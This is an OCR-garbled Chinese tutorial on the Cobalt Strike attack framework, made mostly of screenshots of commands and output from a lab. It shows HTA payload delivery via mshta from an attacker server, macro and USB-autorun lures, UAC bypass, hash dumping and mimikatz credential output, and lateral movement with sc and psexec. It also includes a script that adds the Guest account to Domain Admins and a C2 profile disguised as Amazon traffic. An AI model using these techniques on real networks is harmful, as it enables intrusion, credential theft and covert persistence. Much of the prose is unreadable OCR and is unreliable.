Z15EMizlHES Cobalt Strike {HHZIE

Cobalt Strike 2—zsEMIXEREE, BEHFEAFRS CS #EE, Cobalt Strike E&AFEH
5/ MSF MIRIEARMAEEER, EoAEFRSRSm, REiHE—, BFima]
LBZ, aHEAH T I IEHRIE.

Cobalt Strike £EpY Tiw k. EZER RO Listener, Windows exe fF2FAERK.
Windows dll B 5HEREAR. java F2F4ERL. office ZAARAERL, BiEuhmTEIREY
NLSSEHIEREESE, Al "ZFRE" |, ISEC LR EAIRFE TR A LEER(E Cobalt
Strike fHERHYER.

IR EELE]
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0x00 Ehitizfit

Te

SYSTEH
ILLING-POWER @ 2948

SYSTEH *
JOSHDEV @ 1728
< l J r DISCONNECTED,
Iy

SYSTEH * JOSHDEV @ 120

¢q ‘) FILESERVER @ 91BISCONNECTED

SYSTEM *
CEOSBOX @ 3344

SYSTEH *
HAIL @ 352
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in ~/Downloads/cobaltstrike [15:19:07]

11
SHE 2IM
drwxr-xr-x
drwxr-xr-x 1
“rWXr-xXr-x
-rwWXr-xr-x
“MNxr-xr-x
PW-P=----
-rw-r--r--
-rW-r--r--
-rw-r--r--
drwxr-xr-x
-rw-r--r--
“rw-r--r--
-rWXr-xr-x
drwxr-xr-x
“PWXP=-Xr-x
-rw-r--r--

dialout 4.0K 18 20 15:13

2K 18 20 15:11
dialout 102 12H 8 2016 agscript
dialout 120 128 2016 c?lint
dialout ©9 128 8 2016 cobaltstrike
dialout 21IM 1ZH & 2016
root 2.3K 18 20 15:11 cobaltstrike.store
dialout 94K 128 8 2016
dialout 86K 12H 8 2016 license.pdf
root 4. 0K 18 20 15:13
dialout 25K 12H & 2016 readme.txt
dialout 95K 12H 2016 releasenotes.txt
dialout 1.8K 128 2016 teamserver
dialout 4.0K 128 3 2016
dialout 63 128 2016 update
dialout 257K 128 3 2016

N I e e e T e e e e e e

| 3
agscript ¥ ER BRI

c2lint FBF#RE profile BEIREE
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teamserver [REZIHTERR

cobaltstrike, cobaltstrike.jar ZFiRIER (java EB¥EH)

logs BRICRSBirENEEXER
update, update.jar B F&E#r CS
third-party 58=5T 82

=l

sudo ./teamserver 192.168.0.102 awesome
Will use existing X509 certificate and keystore (for SSL)
['] You are using an OpenJDK Java implementation. OpenJDK is not recommended for use with Cobalt Strike. Use Org
the best Cobalt Strike experience.
[!] This is a trial version of Cobalt Strike. You have 21 days left of your trial. If you purchased Cobalt Stri
enter your license.

[$] WARNING! This trial is *built* to get caught by standard defenses. The licensed product does not have these
g.cobaltstrike.com/2015/10/14/the-cobalt-strike-trials-evil-bit/ [This is a trial version limitation]
[$] Added EICAR string to Malleable C2 profile. [This is a trial version limitation]
[+] Team server is up on 50050
SHAL hash of SSL cert is: 39c@453c530e52b3275398cc18b3dblde8502d28

= 4

22 Pz
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Connect @ 0 O
New Profile This is the connect dialog. You should use it to

connect to a Cobalt Strike (Aggressor) team server.

Host:  [127.0.0.1 |
Port: 50050 |
User: [nec l

|

Password: [*ressss]

I Connect H Help l

€ 5

K&
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—

FBFiBEE

neo
admin

01/22 10:22:44
01/22 10:24:22

Users

admin
neo

[01/22 10:25] admin
event> /names
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Event Log X

01722 10:22:44 neo
01/22 10:24:22 admin

Users

admin
neo

81/22 10:25:42 neo] the target is pwn

[61/22 18:26] admin

event=> /msg neo the target is pwn

7
0x01 H—L T HE{EH
CS Listener:

windows/beacon_dns/reverse dns_txt
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windows/beacon_dns/reverse_http x86/x64

windows/beacon_http/reverse_http x86/x64

windows/beacon_https/reverse https x86/x64
windows/beacon_smb/bind_pipe x86/x64
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse tcp

Beacon AANERY Listener, BIEBIRENHITIEMNAY payload, 3KEX shell EJ CS L;
HEa DNS, HTTP, SMB,

Foreign AYMNBEEEH Listener, EFAATF MSF 9454, FIUI5KEX meterpreter 2| MSF
k.

Bl Beacon Listener
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New Listener e ® O

Create a listener.

Name: [beacon http ]

Payload: [windnwsfbeacn n_http/reverse http -~ ]

Host:  [10.6.6.143 ]

Port:  [8088| |

& 8

El#2 Foreign Listener
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0x02 &R

Edit Listener

Create a listener.

Name: |-'|:-r-:_-ign tcp

Payload: [windﬂwsﬁoreig nfreverse_tcp

Host: [10.1.1.245

Port:  [4444
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Cobalt Strike (Trial) @ ® O

Packages HTML Application
external Web Drive-by ¥ | ms office Macro r | note pid last
| Spear Phish Payload Generator

USB/CD AutoPlay
Windows Dropper
windows Executable
windows Executable (S)

E 10

754% Listener 5457575, B powershell, vba LAK exe =#4;
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HTML Application Attack @ @ @

i This package generates an HTML application that runs
IJ a payload.

Listener: [beacon http vl Add
Method: |iP0werSheI|

Executable

VBA

-

& 11

1565 powershell £RIF3Z {4
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Save In: [Ij vuln

- Bdn

[ evil.hta

File Name: [evil.hta

]

Files of Type: [AII Files

& 12

A web RS, FIHRE

-]

Save l [ Cancel ]
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porting Help

il Packages

VLRI Manage

Spear Phish

A BeBE &P

Clone Site

£ 13

Host File

Scripted Web Delivery
Signed Applet Attack
Smart Applet Attack

System Profiler

Host File e ® O

Host a file through Cobalt Strike's web server

File: [,I'mc:tj'Desktapfvulnjevil.hta l [

Local URI: I,I'dnwnlnadjﬁle.ext l

Local Host: [10.6.6.143 |

Local Port: [BD l

Mime Type: [aut&matic - l
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Launch H Help l

E 14

FEHcH

EventLog X | Listeners X | Downloads X | Eventlog X

01/22 10:25:42 neo] the target is pwn
01/22 10:27:18 neo
01/22 10:31:43 =admin> beacon

81722 10:35:31 *** admin hosted file /mnt/hgfs/CS/uploads/evil.hta @
http://10.6.6.143:80/download/file.ext

& 15

LERTEAA TaR <

C:\Users\Administrator>mshta http://10.6.6.143:80/download/file.ext

C:\Users\Administrator>_
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Cobalt Strike (Trial) e ® O
Cobalt strike View Attacks Reporting Help

OB O EH=¢ 8 LPLU STwBEH /a B G

external internal = user computer note pid last
B 10.6.6.115 10.6.6.115 Administrator * WIN-95RU09... 2380 225

Event Log X | Listeners X | Downloads X EventLug X

lD 35131 #*# 1dmln hosted file |
; ad,/Tile. H!t
_ lD 38:44 1n1t1d1 beacon from Administrator *@1e.6.6.115% (WIN-95RUB9NG5MF)
01/22 10:30:44 initial beacon from Administrator *@10.6.6.115 (WIN-95RUBONG5MF)

01/22 10:40:44 initial beacon from Administrator *@10.6.6.115 (WIN-95RUBONEG5MF)
01/22 10:41:44 initial beacon from inis #@le.6.6.115 (WIN-O05RUBONOSMF)
01/22 10:42:44 initial beacon from Administrator *@10.6.6.115 (WIN-95RUG9NE5MF)

[01/22 10:43] admin [lag: 08]



https://image.3001.net/images/20180403/15227545192144.png
https://image.3001.net/images/20180403/15227545388255.png

e — |

& 17

BOAFA 60s BYOBE, BRAREXPE, IREERESRHD;
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Cobalt Strike (Trial) e ® O
Cobalt strike View Attacks Reporting Help

OB O EH=¢ BLL GwBE s B

external internal user - computer note pid last

I 10.6.6.115 02115 Administrator * WIN-95RUO9INOSMF

Access b
Explore +
Pivoting *

Spawn

Session ¢

-

Event Log X | Listeners X | Beacon 10.6.6.115@2580 X

beacon> shell whoami

[*] Tasked beacon to run: whoami
beacon=> sleep 5

[*] Tasked beacon to sleep for 5s

[+] host called home, sent: 30 bytes
[+] received output
win-05ruddnesmfyadministrator

[WIN-95RUAONGSMF] Administrateor */2580 last: 4s
beacon=
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‘BT Office &=

external

Packages
Web Drive-by +

| Spear Phish

Cobalt Strike (Trial)

HTML Application

MS Office Macro r

note

pid

last

Payload Generator
USB/CD AutoPlay
Windows Dropper
Windows Executable
Windows Executable (5)

= 19
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MS Office Macro @ ® O

This package generates a VBA macro that you may embed into a Microsoft Word or Excel
document. This attack works in x86 and x64 Office on Windows.

Listener: Ebeacﬂn http - I| [ Add ]

Generate ” Help l

& 20

N

@Y payload 4 pE bR

Payload Generator e ® O

This dialog generates a payload to stage a Cobalt
Strike listener. Several output options are available.

Listener: [beacan http - ] Add

Output: |C -

X6

C#
COM Scriptlet

[ =171
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s

Perl
Powershell

PowerShell Command
Python

& 21

B4R USB/CD BENIERL exe

USB/CD AutoPlay

@ 0 0

This package generates an autorun.inf that abuses the AutoPlay feature on Windows. Use this package to infect

wWindows XP and Vista systems through CDs and USB sticks.

Media Label: [Wedding Photos

AutoPlay Action: IGpen folder to view files

AutoPlay lcon: [%systemrcct%\systemﬂ\shel|32.d||.4

Executable: |Lfrnnt,fDesktnp,fuu|nfartifact.exe

Launch H Help l

[E] 22

R B L Y B N N V)
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IREIRFHEY U i

Save AutoPlay files to... [ ]
Look In: | Nifs 'l 0¥ a® T
[ ] android
[ ] system Volume Information
[ Ubutnu x&4
File Name: E,I'media,fmutfhltfs ]
Files of Type: [AII Files - ]

[ Open l [ Cancel ]

[E 23
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Windows Executable @ &

This dialog generates a Windows executable. Use -
Cobalt strike Arsenal scripts (Help -= Arsenal) to

-

Listener: [beacan http - ] Add

Output: E‘.Nindows EXE

-

X 6

Windows Service EXE
Windows DLL (32-bit)
Windows DLL (64-hbit)

[ 25

BITERMTTIRSIRSSAY exe
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[ 26

0x03 FHRN

r

Windows Executable (Stageless) @ & ©

Export a stageless Beacon as a Windows -
executable. Use Cobalt Strike Arsenal

Stage: [SMB Beacon - l

Output: EPawerShell -

Powershell
Raw
Windows EXE
Windows Service EXE
Windows DLL (32-bit)
Windows DLL (64-bit)

x 6

Bypass UAC 12 &R
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Bypass UAC @ © 0

Execute a listener in a high-integrity context. This -
feature uses Cobalt Strike's Artifact Kit to generate

-

Listener: |ibea+::0n http - | Add

[ Launch H Help l

& 27
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Cobalt Strike (Trial) e ® O
Cobalt strike View Attacks Reporting Help

B8 O E=¢ BILLU EGewBE0 s B

external internal user = computer note pid last

Z» 10.6.6.115 10.6.6.115 Administrator * WIN-95RUO9INOSMF
BH 10.6.6.115 10.6.6.115 Administrator * WIN-95RU09INOSMF 2580 2s

-

Event Log X | Listeners X | Beacon 10.6.6.115@2580 X

[+] received output
win-95ru@dnesmtyadministrator

[*] Tasked beacon to spawn windows/beacon http/reverse http (10.6.6.143:8088) in a high
integrity process
host called home, sent: 111675 bytes

received output
Wrote hijack DLL to 'C:\Users\ADMINI~1\AppData‘\Local\Temp\50877.dLL" ‘
Privileged file copy success! C:\Windows\System32\sysprep\CRYPTBASE.dll
C:\Windows\System32\sysprep\sysprep.exe ran and exited.

Cleanup successful

[WIN-95RUGONGSMF] Administrator */2580 last: 2s
beacon=
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$XEX hash

Cobalt Strike (Trial) @ ® O

Cobalt strike View Attacks Reporting Help

OB O EH=¢ BILLU GeBH L, B

external internal user = computer note pid last

- 10.6.6.115 10.6.6.115 Administrator * WIN-95RUO9NOSMF
F® 10.6.6.115 10.6.6.115 Administrator * WIN-95RUO9NOSMFE 2580 3s

EventLog ¥ | Listeners X | Beacon 105'5115@2530 X
rote nijac BIS \

[+] Privileged file copy auccpaa' (-\Wlﬂana\5yatpm3z\ayaprpp\(ﬂYPTBAhE dll

[+] C:\Windows\System32\sysprep\sysprep.exe ran and exited.

[*] Cleanup successful

beacon= hashdump

[*] Tasked beacon to dump hashes
[+] host called home, sent: 82581 bytes

[+] received password hashes
Administrator:500:aad3b435b51484eeaad3b435b51404ee: efbf0407chb66304Thd5cce337dbfe870: :

Guest:501:aad3b435b51484eeaad3b435b51404ee:31d6cfefd16ae031b73c50d7efcBB80cO: :
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[WIN-95RUBONO5MF] Administrator */2588 last: 3s

beacon=

& 29

{58 Mimikatz 3REXZZHD
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Cobalt Strike (Trial) (-] B'

Cobalt strike View Attacks Reporting Help

OB (O EH=¢ BILLU EwBEEH fa B S

external internal user = computer note pid last
10.6.6.115 10.6.6.115 Administrator * WIN-95RUQSNOSMF 2116 1im

Interact

el Bypass UAC

Explore '| pump Hashes
beacon= logonpasswords Pivoting * | Golden Ticket
[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords comj

[+] host called home, sent: 486994 bytes =P AL

[+] received output I LLIE Run Mimikatz

Spawn As

Event Log X | Listeners X | Beacon 10.6.6.115@25380 X

Authentication Id : ® ; 193895 (90000000:0002T567)
Session : Interactive from 1
User MName : Administrator
Domain : WIN-95RUGONOSMF
Logon Server : WIN-95RU89NB5SMF
Logon Time : 2018/1/22 10:19:37
SID r 5-1-5-21-1542250121-2487002854-861744728-500
msv :
[eeele008] CredentialKeys
* NTLM : efbfo497cb66394TbhdScce337dbfes70
* SHA1 : da7c39948215343e0bdd92b7795ccecld?2ecto23
[epeeee83] Primary
#* Username : Administrator

[WIN-95RUBONGSMF] Administrator */2580 last: 1s

beacon=
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Make Tokens, 3£EVZ| hash JG&FEEIXE

Make Token

user
Administrator
Guest

Administrator

password
efbfo497cb66394fbdScce337dbfeg7o
31d6cfe0d162e931b73c59d7e0c089c0
Admin@1314

realm note
WIN-95RUOSNO...
WIN-95RUO0IMO...
WIN-95RU09NO...

User: [

Password: [

Domain: [

[ 31

l Build H Help l

PIT—LEEAREGS, SREETEXER
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Cobalt Strike (Trial) e ® O
Cobalt strike View Attacks Reporting Help
DR O EH=¢ B8 LU XeEDN s B G
external internal user = computer note pid last
10.6.6.115 10.6.6.115 Administrator * WIN-9SRUOSNOSMF 2116 4m

I~ 10.6.6.115 10.6.6.115 Administrator * WIN-95RUO9NOSMF

& T

Event Log X | Listeners X | Beacon 10.6.6.115@2580 X

beacon= pwd

[*] Tasked beacon to print working directory
[+] host called home, sent: 8 bytes

[*] Current directory is C:\Users\Administrator
beacon> getuid

[*] Tasked beacon to get userid

[+] host called home, sent: 8 bytes

[*] You are WIN-95RUB9NE5MF\Administrator (admin)
beacon> 1s

[*] Tasked beacon to list files in .

[+] host called home, sent: 19 bytes

[#*] Listing: C:\Users‘\Administrator

Size Type Last Modified Name
dir 11/06/2017 13:14:06 android
dir 18/23/2017 11:21:41 AppData
dir 18/23/2017 11:21:41  Application Data
dir 18/23/2017 11:23:38 Contacts
dir 10/23/2017 11:21:41 Cookies
[WIN-95RUGONE5SMF] Administrator */25808
beacon=

last: 1s
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beacon= help net
Use: net [command] [arguments]

Beacons's host and network enumeration tool. The built-in net commands are:
Command Description

computers i hosts in a domain (groups)

dclist i domain controllers

domain_trusts i domain trusts

group i groups and users in groups
localgroup i local groups and users in local groups
logons i users logged onto a host

sessions i sessions on a host

share i shares on a host

user users and user infermation

time show time for a host

view lists hosts in a domain (browser service)

Use "help net [command]" for more information.
beacon> net user

[*] Tasked beacon to run net user on localhost
[+] host called home, sent: 76344 bytes

[+] received output

Users for \\localhost:

Administrator (admin)
Guest

beacon= net localgroup

[*] Tasked beacon to run net localgroup on localhost
[+] host called home, sent: 76350 bytes

[+] received output

Local groups for \\localho

Name Comment

WinRMRemoteWMIUsers_ Members of this group can access WMI
resources over management protecols (such as WS-Management via the Windows Remote Management
service). This applies only to WMI namespaces that grant access to the user.

beacon= net logons

[*] Tasked beacon to run net logons on localhost
[+] host called home, sent: 76346 bytes

[+] received output

Logged on users at \\localhost:
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ministrator

[WIN-95RUGONE5MF] Administrator */2580 last: 736ms

beacon>| |

] 33

o

BE



https://image.3001.net/images/20180403/15227548982567.png
https://image.3001.net/images/20180403/15227549191999.png

Cobalt Strike (Trial) @ e 0

Cobalt strike View Attacks Reporting Help

OB (O EH=¢ BILLU EwBEEH fa B S

external internal user = computer note pid last
10.6.6.115 10.6.6.115 Administrator * WIN-95RUQSNOSMF 2116 am

I~ 10.6.6.115 10.6.6.115 Administrator * WIN-95RUO09NOSMF

-~ -

Event Log X | Listeners X | Beacon 10.6.6.115@2580 X | Screenshots X
L F s = ' ;{. .

768kb fil 01/22/2018 11:32:46 NTUSER.DAT

256kb fil 01/22/2018 11:32:46 ntuser.dat.LOGl

ob fil 18/23/2017 11:21:41 ntuser.dat.L0G2

64kb fil 18/23/2017 11:25:83  NTUSER.DAT{016888bd-6c6T-11de-8d1d-0801eBbcde3ec}.TM.b1T
512kb fil 18/23/2017 11:25:083
NTUSER.DAT{016888bd-6c6T-11de-8d1d-881edbcde3ec}.TMContainergfffoennoeaA0060000]. regtrans-ms
512kb fil 18/23/2017 11:25:03
NTUSER.DAT{@16888bd-6c6T-11de-8d1d-0881edbcde3ec}.TMContainerd@000000000000000002 .. regtrans-ms
20b fil 18/23/2017 11:21:41 ntuser.ini ‘

beacon> screenshot

[*] Tasked beacon to take screenshot

[+] host called home, sent: 162882 bytes
[*] received screenshot (169915 bytes)

[WIN-95RUAONGSMF] Administrator */2580 last: 3s

beacon=
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Event Log X | Listeners X | Beacon 10.6.6.115@2380 X Screenshots X

user computer | pid when ‘ = a

-
H N SEE: C\Windows\system32\cmd.exe

Microsoft Windows [Hz 4~ 6.1.7601]
FRA(BETH (c¢) 2009 Microsoft Corpo

Administ... WIN-95R... 2580 01/22 11:...

-
O]k

C: \Users\ndmln1stratnr>m$thc http
‘msthe” A2 N BEEAMEE ar 4 =
oAb EE S

C:\Usersxndministratqr> stha
‘mstha’ RN EEIA AL
oVt ALTE .

Cmder.exe

& 35

E2& MSF BXzh
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Access k

T Explore + |

Pivoting *

Session *
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B2

=

Choose a listener 0 @' a

name payload host port
beacon http windows/beacon_http/reverse_http 10.6.6.143 8088

foreign tcp windows/foreign/reverse_tcp 10.1.1.246
beacon smb windows/beacon_smbj/bind_pipe 10.6.6.143 446

Choose H Add H Help ]

37

exploit( ) >
Sending stage (179779 bytes) to 10.1.1.245
Meterpreter session 1 opened (10.1.1.246:4444 -> 10.1.1.245:50780) at 2018-01-22 17:28:34 +0800

sf exploit( ) > sessions

Active sessions

Id Name Type Information Connection

1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-95RUQ9N@SMF 10.1.1.246:4444 -> 10.1.1.245:
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&

Event Log X | Beacon 10.6.6.115@2580 X

beacon= shell ipconfig

[#*] Tasked beacon to run: ipconfig
[+] host called home, sent: 16 bytes
[+] received output:

Windows IP AZ0A

00I«IpEEAGE+ 23pPA-%0 2:

A-50101 pA DNS 26x2 . . . . . . . : localdomain
+HpdA ’ng] IPvG p@0-. . . . . . . . & TeB8@::dB35:625a:1ac9:37b6%18
IPv4 |.I.L3l]' e e e e o r e e o ow ow o« 2 172.16.35.120

x0IgllUAE . . . . . : 255.255.255.0
AHEIIEIEI L] L] L] L] L) H

00I«IBEEAGA: +5pPA-50:

A-LOIPY pA DNS 26%2 . . . . . . . :
IPV6 p@0- . . . . . « . . « . . . : Tdf2:8ble:cOce::c94
IPVG pdo- . . . . . : fdf2:8ble:cOce:0:c71:7b46:7abb:40d1
AUE: IPV6 p@0-. . . : fdf2:8ble:cOce:0:8eeraec3:e7ae:77d7
+4PA %0 IPv6 pBO-. . . . . . . . : Te8B::c71:7b46:7abb:40d1%11
e v v+ e w w o« 1 10.6.6.115
x0IsNUAE . . . . . ... . ... 1 255.0.0.0
A-EITg8. . . . . « . + « + +« .« . & 10.6.6.1
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Cobalt strike View Attacks Reporting Help

OB O E=¢ 8ELPL T

ministrator
WIN-95RUBONO5SMF @ 2586

16.35.1-172.16.35
isked beacon to scan ports 1-1024
[+] host called home, sent: 75325 by
[+] received output
(ARP) Target '172.16.35.1' is alive. 8

[+] re d output

(ARP) Target '172,16.35.128' is aliw
(ARP) Target '172,16.35.129' is aliw
[+] received output
172.16.35.129:139

172.16.35.129:135

[+] received output
172.16.35.1:962
[+] received output
172,16.35.1:443
172.16.35.1:139
172.16.35.1:80

[+] received output
172.16.35. 5 m: 560 version

Scanner module is complete

[WIN-95RUGINOSMF] Administrator */2580

40

Cobalt Strike (Trial)

EElSm B G

254 1-1624,3306,3389,5 60 arp 1624
»3306,3389, 5! 6000 on 172.16.35.1-172.16.35.254

50-56-C6

080-8C
[

6.1 name: ASON-LENOVO domain: WORKGROUP)
6.1 name: WIN-95RUBIN®SMF domain: WORKGROUP)
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beacon= shell dir y\172.16.35.128\ (%

[*] Tasked beacon to run: dir \\172.16.35.128\C%
[+] host called home, sent: 30 bytes

[+] received output R

CyT A+ \\172.16.35.128\C$ ODpALiA»0DzECo;f
4ipAPOADCAEC 22D8-A39F

\\172.16.35.128\C$ pAA;AY

2000/87/14 11:20 =DIR= PerfLogs
2017/18/24 09:51 =DIR= Program Files
2017,/10/24 09:53 <DIR> Program Files (x86)
2017/18/23 11:21 =DIR=> Users
2017/16/24 ©9:53  <DIR= Windows

o oliup 0 x050

5 ,0A;Ay 54,042,820,608 ;E0Ax0%U

[WIN-95RUG9NO5MF] Administrator */2580

& 41

5341 172.16.35.129 EH£RYEUE, F)F SMB Beacon H/E;
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Cobalt strike View Attacks Reporting Help

+ N - IR RN : = Packages M HTML Application
Web Drive-by * | Ms office Macro
‘ N Spear Phish Payload Generator

‘l
I ‘ & USB/CD AutoPlay

Windows Dropper
Administrator * Windows Executable

WIN-95RUBONE5SMF @ 2580 windows Executable (5
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4 Fk services.exe
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HERIMNF

-

Windows Executable (Stageless) @ ® &

Export a stageless Beacon as a Windows -
executable. Use Cobalt Strike Arsenal

] [ . -0 -

-

Stage: IH'I‘I'P Beacon - l

Output: |§Wind0w5 Service EXE -

Powershell

X 64

Raw
Windows EXE
Windows Service EXE

IWwindows DLL (32-bit)
wWindows DLL (64-hbit)

L115@25
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beacon> upload /root/Desktop/vuln/beacon.exe

[*] Tasked beacon to upload /root/Desktop/vuln/beacon.exe as beacon.exe
[+] host called home, sent: 318294 bytes

beacon= shell dir

[*] Tasked beacon to run: dir

[+] host called home, sent: 11 bytes

[+] received output

CyT A+ C OBpA%iA»0Dzé(®;f

%1pADOADCAEC 22D8-A39F

C:\Users\Administrator pAA;AY

2018/01/22 16:09 =DIR=

2018/01/22 16:09 =<DIR= -
2017/11/86 13:14 <DIR=> .android
2018/01/22 15:23 4 1.txt
2018/01/22 16:09 310,272 beacon.exe
2017/18/23 11:23 Contacts
2017/11/06 13:24 Desktop

= 44
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Cobalt Strike (Trial) e ® O
Cobalt Strike View Attacks Reporting Help

QE O EH=¢B8X,PUFwEED Pa B g

external internal ~ user computer note pid last
B 106.6.115 10.6.6.115 Administrator WIN-95RUOINOSMF 2580 1s
i 10.6.6.188 10.6.6.188 SYSTEM * SRUOINOSMF 1080 1s
B 10.6.6.188 172.16.35.128 SYSTEM * WIN-95RU09NOSMF 884 438ms

Event Log X | Beacon 10.6.6.115@2580 X

beacon> s copy beacon.exe \\172.16.35.128\c$\windows\temp

[*] Tasked beacon to run: copy beacon.exe \\172.16.35.128\c$\windows\ temp
[+] host called home, sent: 55 bytes

[+] received output

ON, "0f 1 i

beacon> shell sc \\172.1 128 create beacon binpath= c:\windows\temp\beacon.exe

[*]1 Tasked beacon to run: sc \\172.16.35.128 create beacon binpath= c:\windows\temp\beacon.exe
[+] host called home, sent: 76 bytes

[+] received output

[SC] CreateService E§°U 1873:

0,97 pA-bIioN =00; £

beacon> shell sc \\172.16.35.128 start beacon

[*] Tasked beacon to run: sc \\172.16.35.128 start beacon
[+] host called home, sent: 39 bytes

[+] received output

SERVICE_NAME: beacon
: 16 WIN32_OWN_PROCESS
STATE START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE 0 (0x0)
SERVICE_EXIT_CODE (0x6)
CHECKPOINT
WAIT_HINT
PID
FLAGS

beacon> link 172.16.35.128

[*] Tasked to link to '172.16.35.128"
[+] host called home, sent: 21 bytes
[WIN-95RUBINBSMF] Administrater */2588

last: 1s

45
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Event Log X

Beacon 10.6.6.115@2580 X

beacon>= cd ..
[*] cd ..

[+] host called home, sent: 18 bytes

beacon> 1s
[*]

Tasked beacon to list files in .

[+] host called home, sent: 19 bytes
[*] Listing: C:\\

Type

Last Modified

dir
dir
dir
dir
dir
dir
dir
dir
dir
dir
dir
fil
fil
fil

374kb
8kb
1824mb

beacon= shell

11:22:58
11:15:14
13:08:56
11:20:08
09:51:54
09:53:54
09:51:17
11:21:24
09:49:58
11:21:41
00:53:31
11:23:51
11:15:15
15:44:44

1e/23/2017
1e/23/2017
87/14/2009
07/14/2000
10/24/2017
10/24/2017
10/24/2017
1e/23/2017
10/24/2017
18/23/2017
10/24/2017
11/21/2010
1e/23/2017
01,/22/2018

whoami

[*] Tasked beacon to run: whoami

[+] host called home, sent: 14 bytes
[+] received output:

nt authority\system

[WIN-95RUG9NG5MF] SYSTEM */1080

Beacon 10.6.6.188@1080 X

Name

$Recycle.Bin

Boot

Documents and Settings
PerfLogs

Program Files

Program Files (x86)
ProgramData

Recovery

System Volume Information
Users

Windows

bootmgr

BOOTSECT . BAK
pagefile.sys
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NERAMETFTEBIRINAES, EF psexec;

external

10.6.6.115 seee

Ty

B® 10.6.6.115
B® 10.6.6.188
B® 10.6.6.188
B® 10.6.6.115

internal = user computer

10.1.1.245 SYSTEM * WIN-95RUDONOSMF
10.6.6.115 Administrator * WIN-95RUO0SNOSMF
10.6.6.188 SYSTEM * WIN-25RUO0SNOSMF
172.16.35.128 SYSTEM * WIN-25RU0SNOSMF
172.16.35.129 Administrator * WIN-25RU0SNOSMF

beacon> spawn foreign tcp

[+] host called home, sent

[+] host called home, sent
[+] received output

Event Log X Beacon 10.6.6.115@2580 X Listeners X

[#*] Tasked beacon to spawn (x86) windows/foreign/reverse tcp (10.1.1.246:4444)
[+] host called home, sent: 298 bytes

[#*] Tasked beacon to spawn (x86) windows/foreign/reverse tcp (10.1.1.246:4444)

208 bytes

beacon= psexec 172.16.35.128 ($ beacon smb

[*] Tasked beacon to run windows/beacon_smb/bind pipe (\\172.16.35.128\pipe\status_446) on

219346 bytes

Started service 0420218 on 172.16.35.128
[+] established link to child beacon: 18.1.1.245

MaTe ACelEnaaksRcCeEr T Ardema e e emmdn e W S7C O
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HINE, &I psexec EEIFEFEN—EREBITET, JLMR LEFEMNEE;

I’
SYSTEM * \
WIN-95RUBONGSMF @ 2728

*
Administrator SYSTEM *

95RUAONES: 58¢
‘ WIN-95RUBONGSHF @ 2589 WIN-95RUG9NG5MF @ 1686

SYSTEM *
WIN-95RUBINOSMF @ 956

s o
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x o Load a script

E2(): ([ ElevateKit -] &
|“_] modules -

[ README.txt

SR (N): [elevate_cna ]
TR A -]

| 337 | | B |

= 49
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Event Log X

Beacon 172 16.56.128@2056 X | Scripts X

path

& 50

Web/Framework/cobalstrike3. 6/Elevatekit/elevate.cna

MEMAZRISZE, ETHWAUAIE 7T MER;

Event Log X | Beacon 1721656 128@2056 X Im—

beacon> elevate

Beacon Exploits

Exploit

ms14-058
uac-dll

beacon> elevate

Beacon Exploits

Exploit

ms14-058
ms15-051
ms16-016

Description

TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
Bypass UAC

Description

TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
Windows ClientCopyImage Win32k Exploit (CVE 2015-17061)
mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051
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ms16-032 Secondary Logon Handle Privilege Escalation (CVE-2016-099)
uac-dll Bypass UAC

uac-eventvwr Bypa UAC with eventvwr.exe

uac-wscript Bypass UAC with wscript.exe

[ 51

AJLAE R ERIINERIARIR ;

beacon> elevate ms15-051 http beacon

[*] Task Beacon to run windows/beacon_http/reverse_http (10.1.1.246:8880) via ms15-051
[+] host called home, sent: 85635 bytes

52
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popup
menu "Guest Accounts" {
item "Guest Account Local Admin (L)" {
prompt_text("Set a password for the Guest account", "DefaultPassword", lambda({
bshell(@ids, 'net user guest /active:yes');
bshell(@ids, 'net localgroup administrators guest /add');
bshell(@ids, "net user guest $1 ");
blog(@®ids, "Enabling Guest account, adding to local admin group, and setting password
to $1 ")
1, @ids = $1));
}

item "Guest Account Local Admin (D)" {

prompt_text("Set a password for the Guest account”, "DefaultPassword", lambda({
bshell(@ids, 'net user guest /active:yes /domain');
bshell(@ids, 'net localgroup administrators guest /add /domain');
bshell(@ids, 'net group "Domain Admins" guest /add /domain');
bshell(@ids, "net user guest $1 /domain");
blog(@®ids, "Enabling Guest account, adding to local admin, Domain Admins, and setting

password to $1 ");
}, @ids = $1))j

[ 53

HrpSzeE—, item B4, Prompt text REUZEIRNE, SEUANEIEAREL. MR
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Cobalt Strike View Attacks Reporting Help
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Explore
Pivoting
Spann

Session

Event Log X | Beacon 172.16.56.128@1556 X | Script Console

unload
X

aggressor> load /tmp/enableGuest._cna
[+] Load /tm nableGuest _cna

aggressor>

FEHLERTRER:

Guest Account Local Admin (L}
Guest Account Local Admin (D)
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188 profile EBIEFE[ER FIA c2lint);

./c2lint /tmp/amazon.profile
Picked up _JAVA_OPTIONS: -Dswing.systemlaf=com.sun.java.swing.plaf.gtk.GTKLookAndFeel -Dswing.defaultlaf:
ndFeel -Dswing.aatext=true -Dawt.useSystemAAFontSettings=on
[+] Profile compiled OK

http-get

€] 56
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GET /s/ref=nb_sb_noss_1/167-3294888-0262949/Tield-keywords=books HTTP/1.1

Host: www.amazon.com

Accept: */*

Cookie: skin=noskin;session-token=bI3rb@ICTCwylvYTOqy2QnqoKIZoTX85QT6wr BOp1CmdXM5hY9IppBqGShDmUD XY tOMBjCgJHTBeFAMOHjci0Ov/
5QazF8XBdc5zwioR8CEXTkh2C4BZ874qHD7yE1HbsFCydQ21U8bE+Tv7IPINONY qswQULFAM2bGFvk3xGCE=csm-hit=5-24KU11BB82RZSYGJ3BOK | 1419899012996
User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64; Tridents/7.6; rv:11.8) like Gecko

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 0K

Date: Fri, 2 Feb 2818 02:44:49 GMT

Server: Server

x-amz-id-1: THKUYEZKCKPGY5T42PZT

x-amz-id-2: a?1yZ2xrNDNtdGRsa212bGV3YWa5amZuZWaydG5r ZmRuZ2tmZG14aHRvNDVpbgo=
X-Frame-Options: SAMEORIGIN

Content-Encoding: gzip

Content-Length: 8

